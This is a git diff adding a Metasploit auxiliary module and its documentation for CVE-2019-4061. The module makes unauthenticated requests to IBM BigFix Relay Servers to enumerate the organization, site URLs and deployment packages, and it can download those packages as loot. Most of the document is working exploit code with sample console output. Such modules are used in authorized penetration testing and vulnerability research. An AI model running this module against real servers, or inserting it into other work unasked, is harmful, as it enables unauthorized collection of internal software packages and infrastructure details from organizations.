diff --git a/documentation/modules/auxiliary/gather/ibm_bigfix_sites_packages_enum.md b/documentation/modules/auxiliary/gather/ibm_bigfix_sites_packages_enum.md new file mode 100644 index 000000000000..fa8503b249ca --- /dev/null +++ b/documentation/modules/auxiliary/gather/ibm_bigfix_sites_packages_enum.md @@ -0,0 +1,66 @@ +## Description + +This module performs unauthenticated requests to retrieve masthead, sites, and packages information from IBM BigFix Relay Servers. If the **DOWNLOAD** option is set then the module will attempt to download the identified packages. This module has been tested against Relay Server 9.5.10.79. + +## Vulnerable Application + +BigFix Platform 9.2 - 9.2.16 and 9.5 - 9.5.11 + +## Options + +**SHOW_MASTHEAD** + +Default: true. Read Organization name from `/masthead/masthead.axfm` + +**SHOW_PACKAGES** + +Default true. Read Action values and packages names from `/cgi-bin/bfenterprise/BESMirrorRequest.exe` + +**SHOW_SITES** + +Default true. Read Site URLs from `/cgi-bin/bfenterprise/clientregister.exe?RequestType=FetchCommands` + +**DOWNLOAD** + +Default true. Attempt to download identified packages. + +**ShowURL** + +Default false. Show full URL for the packages instead of the filename. + +## Verification Steps + +1. `./msfconsole -q` +2. `use auxiliary/gather/ibm_bigfix_sites_packages_enum` +3. `set rhosts ` +4. `exploit` + +## Scenarios + +### Relay Version 9.5.10.79 + +``` +msf5 > use auxiliary/gather/ibm_bigfix_sites_packages_enum +msf5 auxiliary(gather/ibm_bigfix_sites_packages_enum) > set rhosts +rhosts => +msf5 auxiliary(gather/ibm_bigfix_sites_packages_enum) > exploit +[*] Running module against [IP] + +[+] [Organization] +[+] http://[hostname]:52311/cgi-bin/bfgather.exe/actionsite +[+] http://[hostname]:52311/cgi-bin/bfenterprise/PostResults.exe + +[*] Sites +[+] http://[hostname]:52311/cgi-bin/bfgather.exe/[site] +[+] http://[hostname]:52311/cgi-bin/bfgather.exe/[site] +[+] http://[hostname]:52311/cgi-bin/bfgather.exe/[site] + +[*] Packages +[*] Action: [action number] +[+] File: [package name] +[*] Action: [action number] +[+] File: [package name] + +[*] Auxiliary module execution completed +msf5 auxiliary(gather/ibm_bigfix_sites_packages_enum) > +``` diff --git a/modules/auxiliary/gather/ibm_bigfix_sites_packages_enum.rb b/modules/auxiliary/gather/ibm_bigfix_sites_packages_enum.rb new file mode 100644 index 000000000000..301235b646cc --- /dev/null +++ b/modules/auxiliary/gather/ibm_bigfix_sites_packages_enum.rb @@ -0,0 +1,139 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'IBM BigFix Relay Server Sites and Package Enum', + 'Description' => %q{ + This module retrieves masthead, site, and available package information + from IBM BigFix Relay Servers. + }, + 'Author' => + [ + 'HD Moore', # Vulnerability Discovery + 'Chris Bellows', # Vulnerability Discovery + 'Ryan Hanson', # Vulnerability Discovery + 'Jacob Robles' # Metasploit module + ], + 'References' => + [ + ['CVE','2019-4061'], + ['URL','https://www.atredis.com/blog/2019/3/18/harvesting-data-from-bigfix-relay-servers'] + ], + 'DefaultOptions' => + { + 'RPORT' => 52311, + 'SSL' => true + }, + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Mar 18 2019' # Blog post date + )) + + register_options [ + OptString.new('TARGETURI', [true, 'Path to the BigFix server', '/']), + OptBool.new('SHOW_MASTHEAD', [true, 'Retrieve information from masthead file', true]), + OptBool.new('SHOW_SITES', [true, 'Retrieve site listing', true]), + OptBool.new('SHOW_PACKAGES', [true, 'Retrieve packages list', true]), + OptBool.new('DOWNLOAD', [true, 'Attempt to download packages', false]) + ] + + register_advanced_options [ + OptBool.new('ShowURL', [true, 'Show URL instead of filename', false]) + ] + end + + def send_req(uri) + send_request_cgi({ + 'uri' => normalize_uri(target_uri, uri) + }) + end + + def masthead + res = send_req('masthead/masthead.axfm') + return unless res && res.code == 200 + + if res.body =~ /Organization: (.*)./ + print_good($1) + end + + res.body.scan(/URL: (.*)./).each do |http| + print_good(http[0]) + end + end + + def sites + res = send_req('cgi-bin/bfenterprise/clientregister.exe?RequestType=FetchCommands') + return unless res && res.code == 200 + + print_status('Sites') + res.body.scan(/: ([^ ]+)/).each do |url| + print_good(url[0]) + end + end + + def packages + res = send_req('cgi-bin/bfenterprise/BESMirrorRequest.exe') + return unless res && res.code == 200 + + print_status('Packages') + last_action = nil + @files = {} + + myhtml = res.get_html_document + myhtml.css('.indented p').each do |element| + element.children.each do |text| + if text.class == Nokogiri::XML::Text + next if text.text.start_with?('Error') + + text.text =~ /^([^ ]+)/ + case $1 + when 'Action:' + # Save Action to associate URLs + text.text =~ /Action: ([0-9]+)/ + last_action = $1 + @files[last_action] = [] + print_status("Action: #{last_action}") + when 'url' + text.text =~ /^[^:]+: (.*)/ + uri = URI.parse($1) + file = File.basename(uri.path) + @files[last_action].append(file) + datastore['ShowURL'] ? print_good("URL: #{$1}") : print_good("File: #{file}") + end + end + end + end + end + + def download + print_status('Downloading packages') + @files.each do |action, val| + next if val.empty? + res = send_req("bfmirror/downloads/#{action}/0") + next unless res && res.code == 200 + + print_status("Downloading file #{val.first}") + res = send_req("bfmirror/downloads/#{action}/1") + unless res && res.code == 200 + print_error("Failed to download #{val.first}") + next + end + + myloot = store_loot('ibm.bigfix.package', File.extname(val.first), datastore['RHOST'], res.body, val.first) + print_good("Saved #{val.first} to #{myloot.to_s}") + end + end + + def run + masthead if datastore['SHOW_MASTHEAD'] + sites if datastore['SHOW_SITES'] + packages if datastore['SHOW_PACKAGES'] || datastore['DOWNLOAD'] + download if datastore['DOWNLOAD'] && @files != {} + end +end